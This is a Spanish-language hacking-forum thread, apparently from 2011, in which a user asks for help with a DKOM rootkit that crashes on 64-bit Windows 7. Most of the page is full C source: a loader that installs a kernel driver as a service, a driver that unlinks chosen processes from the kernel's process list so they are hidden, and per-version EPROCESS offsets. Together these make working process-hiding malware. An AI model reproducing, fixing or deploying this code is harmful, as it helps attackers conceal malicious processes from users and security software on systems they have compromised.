elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Análisis y Diseño de Malware / Re: DKOM windows 7 64bits en: 10 Octubre 2011, 12:18 pm
Si perdon, habia puesto el link de donde saque el codigo.

Repito que si no encuentra ningun proceso a ocultar no da error, pero cuando ha de ocultar uno casca.


Desde aqui llama al DKOM.
Código:
      GetSystemDirectory(driverPath, MAX_PATH);
  strcat(driverPath, "\\drivers\\dkomdriver.sys");
  CopyFile("dkomdriver.sys", driverPath, FALSE);
 
  removeDkomService(VERBOSE_OFF);
 
  scManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
      if(!scManager)
      {
         printf("[ERROR] No se ha contactado con Service Control Manager\n");
         return FALSE;
      }
      printf("[OK] Abierta una conexion con Service Control Manager\n");
     
      scService = CreateService(scManager,
                                "dkomdriver",
                                "dkomdriver",
                                SERVICE_ALL_ACCESS,
                                SERVICE_KERNEL_DRIVER,
                                SERVICE_DEMAND_START,
                                SERVICE_ERROR_NORMAL,
                                driverPath,
                                NULL,
                                NULL,
                                NULL,
                                NULL,
                                NULL);
      if(!scService)
      {
         if(GetLastError() == ERROR_SERVICE_EXISTS)
         {
//AQUI SE CUELGA SUPUESTAMENTE. AUNQUE NO HE PODIDO COMPROBARLO FIJO     
           scService = OpenService(scManager, "dkomdriver", SERVICE_ALL_ACCESS);
            if(!scService)
            {
               printf("[ERROR] No se ha podido crear el servicio 'dkomdriver'\n");
               CloseServiceHandle(scManager);
               return FALSE;
            }
         }
         else
         {
            printf("[ERROR] No se ha podido crear el servicio 'dkomdriver'\n");
            CloseServiceHandle(scManager);
            return FALSE;
         }
      }
      printf("[OK] Se ha creado correctamente el servicio 'dkomdriver'\n");
     
      if(!StartService(scService,0,NULL))
      {
         if(GetLastError() != ERROR_SERVICE_ALREADY_RUNNING)
         {
            printf("[ERROR] No se ha iniciado el servicio 'dkomdriver'\n");
            CloseServiceHandle(scManager);
            CloseServiceHandle(scService);
            return FALSE;
         }
      }
      printf("[OK] Se ha iniciado correctamente el servicio 'dkomdriver'\n");
 
  // Provoca la llamada a la MajorFunction dkomCreate
  hDevice = CreateFile("\\\\.\\dkomdriver",
                           GENERIC_READ | GENERIC_WRITE,
                           0,
                           NULL,
                           OPEN_EXISTING,
                           FILE_ATTRIBUTE_NORMAL,
                           NULL);     
      if(hDevice == INVALID_HANDLE_VALUE)
      {
         printf("[ERROR] No ha podido obtenerse un manejador de control\n");
         return FALSE;
      }
      printf("[OK] Se ha obtenido correctamente el manejador de control\n");
     
      first = getProcessList("hide_");
      current = first;
     
      if(numProcess2Hide == 0)
         printf("[OK] No existen procesos que ocultar (con el prefijo hide_)\n");
     
      while(current != NULL)
      {
         p2h.iPid = current->iPid;
         p2h.iFlinkOffset = flinkValue;
         
         if(!DeviceIoControl(hDevice,
                             (DWORD) IOCTL_DRV_HIDE,
                             (VOID *) &p2h,
                             sizeof(proc2Hide),
                             NULL,
                             0,
                             &dwBytesRet,
                             NULL))
         {
            printf("[ERROR] No ha podido enviarse codigo de control al driver\n");
            CloseHandle(hDevice);
            return FALSE;
         }     
       
         printf("[OK] Indicando a dkomdriver que oculte proceso con PID %d\n",p2h.iPid);       
         
         current = current->next;
         //Eliminamos elemento de la lista
         free(first);
         first = current;
         
         ZeroMemory(&p2h,sizeof(proc2Hide));       
      }
     
      // Provoca la llamada a la MajorFunction dkomClose
      CloseHandle(hDevice);

   }
   else if (strcmp((char *)argv[1], "off") == 0)
   {
      removeDkomService(VERBOSE_ON);
      GetSystemDirectory(driverPath, MAX_PATH);
  strcat(driverPath, "\\drivers\\dkomdriver.sys");
 
      if(!DeleteFile(driverPath))
         printf("[ERROR] No se ha podido eliminar el driver dkomdriver.sys\n");
      else
         printf("[OK] Se ha eliminado correctamente el driver dkomdriver.sys\n");

   }
   else
   {
      printUsage(argv[0]);
      return FALSE;
   }
         
   return TRUE;


Esto es el codigo del DRIVER
Código:
//#include <ntddk.h>
#include "ntifs.h"
#include "interface.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject,IN PUNICODE_STRING registryPath);
NTSTATUS dkomCreate(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomWrite(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomRead(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomClose(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomControl(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomUnload(IN PDRIVER_OBJECT driverObject);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   UNICODE_STRING deviceNameUnicode, dosDeviceNameUnicode;
   PDEVICE_OBJECT dkomDevice;
   int i;
   
   DbgPrint("Llamada a driverEntry\n");
   
   RtlInitUnicodeString(&deviceNameUnicode,dkomDeviceName);
   ntstatus = IoCreateDevice(driverObject,
                             0,
                             &deviceNameUnicode,
                             FILE_DEVICE_UNKNOWN,
                             FILE_DEVICE_SECURE_OPEN,
                             FALSE,
                             &dkomDevice);
   if(!NT_SUCCESS(ntstatus)){
      DbgPrint("Fallo al crear el dispositivo\n");
      return ntstatus;
   }
   DbgPrint("Dispositivo creado correctamente\n");
   
   RtlInitUnicodeString(&dosDeviceNameUnicode,dkomDeviceLink);
   ntstatus = IoCreateSymbolicLink(&dosDeviceNameUnicode,
                                   &deviceNameUnicode);   
   if(!NT_SUCCESS(ntstatus))
   {
      IoDeleteDevice(dkomDevice);
      DbgPrint("Fallo al crear el enlace simbolico\n");
      return ntstatus;
   }
   DbgPrint("Enlace simbolico creado correctamente\n");
   
   driverObject->MajorFunction[IRP_MJ_CREATE]         = dkomCreate;
   driverObject->MajorFunction[IRP_MJ_CLOSE]          = dkomClose;
   driverObject->MajorFunction[IRP_MJ_READ]           = dkomRead;
   driverObject->MajorFunction[IRP_MJ_WRITE]          = dkomWrite;     
   driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dkomControl;
   driverObject->DriverUnload                         = dkomUnload;
   
   return ntstatus;
}

NTSTATUS dkomCreate(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   DbgPrint("Llamada a dkomCreate\n");
   return ntstatus;
}

NTSTATUS dkomWrite(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   DbgPrint("Llamada a dkomWrite\n");
   return ntstatus;
}

NTSTATUS dkomRead(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   DbgPrint("Llamada a dkomRead\n");
   return ntstatus;
}

NTSTATUS dkomClose(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   DbgPrint("Llamada a dkomClose\n");
   return ntstatus;
}

NTSTATUS dkomControl(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_NOT_IMPLEMENTED;
   PIO_STACK_LOCATION pStack;
   PLIST_ENTRY pProcessList;
   PEPROCESS pEProcess;
   proc2Hide *p2h;
   ULONG uEProcessAddr;
     
   DbgPrint("Llamada a dkomControl\n");
   
   pStack = IoGetCurrentIrpStackLocation(Irp);
   Irp->IoStatus.Status      = STATUS_SUCCESS;
   Irp->IoStatus.Information = 0;
   
   switch(pStack->Parameters.DeviceIoControl.IoControlCode)   
   {
      case IOCTL_DRV_HIDE:
           
         DbgPrint("Recibido codigo de control IOCTL_DRV_HIDE\n");
         p2h = (proc2Hide *) Irp->AssociatedIrp.SystemBuffer;
         if(PsLookupProcessByProcessId((PVOID)p2h->iPid,&pEProcess) == STATUS_SUCCESS)
         {
            DbgPrint("Ocultando proceso con PID %d en la direccion %08lX\n",p2h->iPid,pEProcess);
            uEProcessAddr = (ULONG) pEProcess;
            pProcessList = (LIST_ENTRY *)(uEProcessAddr + p2h->iFlinkOffset);
            *((ULONG *) pProcessList->Blink) = (ULONG) pProcessList->Flink;
            *((ULONG *) pProcessList->Flink + 1) = (ULONG) pProcessList->Blink;
            pProcessList->Flink = (LIST_ENTRY *) &(pProcessList->Flink);
            pProcessList->Blink = (LIST_ENTRY *) &(pProcessList->Flink);
         }
         else
            DbgPrint("No se ha obtenido la direccion del EPROCESS para el PID\n",p2h->iPid);
         
         break;
         
      default:
         DbgPrint("Recibido codigo de control no definido\n");     
         break;
   }
   
   ntstatus = Irp->IoStatus.Status;
   IoCompleteRequest(Irp,IO_NO_INCREMENT);
   return ntstatus;
}

NTSTATUS dkomUnload(IN PDRIVER_OBJECT driverObject)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   PDEVICE_OBJECT dkomDevice = driverObject->DeviceObject;
   UNICODE_STRING dosDeviceNameUnicode;
   
   DbgPrint("Llamada a dkomUnload\n");
   
   RtlInitUnicodeString(&dosDeviceNameUnicode,dkomDeviceLink);
   IoDeleteSymbolicLink(&dosDeviceNameUnicode);
   DbgPrint("Se ha eliminado el enlace simbolico\n");
   IoDeleteDevice(driverObject->DeviceObject);
   DbgPrint("Se ha eliminado el device\n");
   
   return ntstatus;
}

2  Seguridad Informática / Análisis y Diseño de Malware / Re: DKOM windows 7 64bits en: 10 Octubre 2011, 09:35 am
http://neosysforensics.blogspot.com/2008/11/ocultacin-de-procesos-en-windows-dkom.html

Aqui esta el codigo, solo que he metido que me detecte si es 32 o 64 bits. Y ademas he puesto que detecte el VISTA y el Win7

Código:
 if(GetVersionEx((OSVERSIONINFO *) &osvi))
   {
      switch(osvi.dwPlatformId)
      {
         // Comprobamos la version de Windows NT
         case VER_PLATFORM_WIN32_NT:
         
            if(osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
            {
               flinkValue = 0x98;
               return IS_WINDOWS_NT;
            }
            else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
            {
               flinkValue = 0xA0;
               return IS_WINDOWS_2000;
            }
            else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
            {
               flinkValue = 0x88;
               return IS_WINDOWS_XP;
            }
            else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
            {
               flinkValue = 0x88;           
               return IS_WINDOWS_2003;
            }
            else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
            {
                 if ( si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64 )
                 {
                    //StringCchCat(pszOS, BUFSIZE, TEXT( ", 64-bit" ));
                    flinkValue = 0x188;           
                    return IS_WINDOWS_7;
                 }
                 else if (si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_INTEL )
                 {
                    //StringCchCat(pszOS, BUFSIZE, TEXT(", 32-bit"));
                    flinkValue = 0x0b8;           
                    return IS_WINDOWS_7;
                 }
            }
            else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
            {
               flinkValue = 0x0a0;           
               return IS_WINDOWS_VISTA;
            }
            else
            { 

               return NOT_SUPPORTED;
            }
                       
            break;
      }
   }
3  Seguridad Informática / Análisis y Diseño de Malware / DKOM windows 7 64bits en: 7 Octubre 2011, 13:22 pm
Buenas:

Primero gracias a Hendrix, Crack y cia por ese Hilo sobre Drivers y todos los temas sobre ello. (doy las gracias al creador y a los que participaron)

Lo segundo es plantear mi problema.

No consigo hacer funcionar el DKOMDRIVER en sistemas operativos de 64 bits. Primero de todo, se que se necesitan drivers firmados por microsoft. Ese no es el problema, el tema es que al ejecutar el driver (se carga correctamente) da una bonita BSOD.

Si por ejemplo ejecuto el driver sin tener ningun proceso que ocultar no pasa nada. Pero al ejecutarlo con algun proceso que ocultar peta.

¿alguna ayuda sobre donde poder tirar?

Muchas gracias de antemano.

PD: Me costo hacer funcionar el codigo del DKOMDRIVER, dado mi ya olvidado nivel de C. Pero consegui que funcionara en win7 32 bits y win Vista tb 32 bits.
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines